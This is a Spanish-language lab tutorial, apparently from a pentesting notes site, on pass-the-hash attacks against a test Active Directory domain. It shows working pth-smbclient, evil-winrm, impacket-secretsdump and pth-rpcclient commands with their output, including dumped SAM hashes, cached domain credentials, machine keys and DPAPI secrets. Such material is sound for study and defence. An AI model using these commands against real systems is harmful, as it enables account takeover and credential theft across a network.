Pass-The-Hash con Linux
Si queremos realizar lo mismo de antes, pero desde linux lo haremos con una herramienta que viene por defecto en kali, suponiendo que tenemos ya el hash del administrador o de cualquier tipo de usuario con el que queremos realizar ese pth, haremos lo siguiente:
pth-smbclient //192.168.5.5/c$ -U Administrator --pw-nt-hash a87f3a337d73085c45f9416be5787d86 -W corp.localInfo:
Try "help" to get a list of possible commands.
smb: \> ls
$Recycle.Bin DHS 0 Sat May 8 04:20:24 2021
Documents and Settings DHSrn 0 Sun Jan 5 05:22:02 2025
DumpStack.log.tmp AHS 12288 Tue Jan 21 03:14:12 2025
pagefile.sys AHS 536870912 Tue Jan 21 03:14:12 2025
PerfLogs D 0 Sat May 8 04:20:24 2021
Program Files DR 0 Sun Jan 5 05:28:08 2025
Program Files (x86) D 0 Sat May 8 05:39:35 2021
ProgramData DHn 0 Sat Jan 11 10:12:12 2025
Recovery DHSn 0 Sun Jan 5 05:22:02 2025
Shares D 0 Mon Jan 6 07:06:47 2025
System Volume Information DHS 0 Sun Jan 5 06:12:17 2025
Users DR 0 Sun Jan 5 05:28:05 2025
Windows D 0 Tue Jan 7 14:12:54 2025
15644159 blocks of size 4096. 12751911 blocks availableVemos que hemos conseguido conectarnos al DC en el recurso compartido del C$ como el administrador por lo que tendriamos acceso al DC desde kali como el usuario Administrador del dominio.
Esto mismo tambien lo podemos realizar mediante el protocolo WinRM (Protocolo de gestion remota, que suele estar activo en casi todas las infraestructuras de empresas de Active Directory), para ello antes activaremos este mismo protocolo en nuestra maquina Windows para que este activo y configurado con un comando, por lo que nos iremos a nuestro WS01, abriremos una PowerShell como administrador local y ejecutaremos lo siguiente:
winrm quickconfigInfo:
WinRM no está configurado para recibir solicitudes en este equipo.
Se deben realizar estos cambios:
Inicie el servicio WinRM.
Establezca el tipo de servicio WinRM en inicio automático aplazado.
¿Desea realizar estos cambios [y/n]? y
WinRM se ha actualizado para recibir solicitudes.
Se cambió el tipo de servicio WinRM correctamente.
Servicio WinRM iniciado.
WinRM no está configurado para permitir acceso remoto al equipo para administración.
Se deben realizar estos cambios:
Habilitar la excepción de firewall WinRM.
¿Desea realizar estos cambios [y/n]? y
WinRM se actualizó para administración remota.
Excepción de firewall WinRM habilitada.Y con esto ya tendriamos nuestro WinRM activado correctamente.
Ahora si nos vamos al kali y utilizamos una herramienta muy famosa llamada evil-winrm que no vendra por defecto en kali, podremos acceder de forma remota para gestionar un equipo mediante el protocolo evil-winrm, vamos a instalar la herramienta antes de todo.
sudo gem install evil-winrmY con esto ya tendriamos instalada la herramienta.
Vamos a probar a entrar en el equipo WS01 de forma remota como el usuario Administrador de la siguiente forma:
evil-winrm -i 192.168.5.208 -u Administrator -p Passw0rdInfo:
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>Y con esto veremos que funciona correctamente, por lo que nos podemos conectar a dicho equipo.
Pero como nosotros no tenemos la contraseña, solo tenemos el hash del Administrador podremos hacer un pth con winrm de la siguiente forma:
evil-winrm -i 192.168.5.208 -u Administrator -H a87f3a337d73085c45f9416be5787d86Info:
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
corp\administratorY con esto veremos que con el hash tambien nos dejo entrar.
Con la herramienta impacket se puede hacer lo mismo, con el hash podremos autenticarnos como el administrador para realizar cosas como el mismo.
impacket-secretsdump Administrator@192.168.5.208 -hashes :a87f3a337d73085c45f9416be5787d86Hay que indicarselo con un formato especial para la herramienta poniendo los : por delante del hash.
Info:
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xc8125866b327df176940c9f2d6a48f5f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:5ed544e71abe56b376b7993b21946520:::
santiago:1001:aad3b435b51404eeaad3b435b51404ee:7ce21f17c0aee7fb9ceba532d0546ad6:::
[*] Dumping cached domain logon information (domain/username:hash)
CORP.LOCAL/empleado1:$DCC2$10240#empleado1#fda53d6158406f827388476bcbc97c37: (2025-01-20 09:22:18)
CORP.LOCAL/Administrator:$DCC2$10240#Administrator#e1c8d7e26653ae629a74772a389cf7e6: (2025-01-20 09:23:12)
CORP.LOCAL/annice.mable:$DCC2$10240#annice.mable#77702054bffe13f7c5bbe919a228d985: (2025-01-12 11:36:13)
CORP.LOCAL/angelika.shelly:$DCC2$10240#angelika.shelly#835512d4e4bb1d962c57d290eb99f670: (2025-01-12 16:51:40)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
CORP\WS01$:aes256-cts-hmac-sha1-96:9a9fc7447f8fa5521eeef5af175be7af2189392bc0d56f2e7d41e4c15cdad294
CORP\WS01$:aes128-cts-hmac-sha1-96:73670fc7a88720c24ff4c869dc84a9c1
CORP\WS01$:des-cbc-md5:8c5bea107cc8c804
CORP\WS01$:plain_password_hex:5700320055006b0049004e0027003d005e0055005c00750052004c0077006e004e00510045003c002d0066005d004b005f007600330072004400350022002700750068004e00300041003d0024006c004e0022005700750065006b00640034004a0056006f003e006c005f006c0050005c005d002700360077002c00290033005e005d004f005e005100560027002e003200380029004f0078005100410049002c003a0025005f00680072005d00380034002500490068002200640045006f0072005c0063002d0022005f002f006f0065006700720022005f0061006c00780047006400590062007700770059005f00
CORP\WS01$:aad3b435b51404eeaad3b435b51404ee:afc5c02d936d73808ce716070e883ab8:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x6be6aee6bc489e7fab1ed9a63b1aa5c0d2f13fef
dpapi_userkey:0xb83f8122ee552579d8fbf4d9b304ae19ab5bb7af
[*] NL$KM
0000 5C B5 3B 8C D5 28 A0 C3 6A F2 57 A3 08 B6 F7 D4 \.;..(..j.W.....
0010 E4 7D 11 84 8F 2C 98 2B 2D DD 06 7D 30 53 B4 23 .}...,.+-..}0S.#
0020 4B 8D C7 7E 92 96 5B 48 67 29 99 50 C1 E4 27 A6 K..~..[Hg).P..'.
0030 37 2C 9D 99 E8 FD 57 11 CC 44 47 ED 30 6F 96 00 7,....W..DG.0o..
NL$KM:5cb53b8cd528a0c36af257a308b6f7d4e47d11848f2c982b2ddd067d3053b4234b8dc77e92965b4867299950c1e427a6372c9d99e8fd5711cc4447ed306f9600
[*] Cleaning up...
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistryY vemos que nos vuelva bien la SAM como el usuario Administrador.
Mediante el rpcclient tambien podremos realizar este pth de la siguiente forma:
pth-rpcclient -U corp/administrator%00000000000000000000000000000000:a87f3a337d73085c45f9416be5787d86 //192.168.5.208En este caso como tiene que tener un formato en concreto el hash pero el nuestro es un hash simple tendremos que rellenarlo con 32 ceros por delante y despues de los : poner el hash del administrador.
Info:
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
rpcclient $>Y aqui podremos ver que hemos accedido de forma correcta mediante el protocolo rpcclient haciendo un pth.
Last updated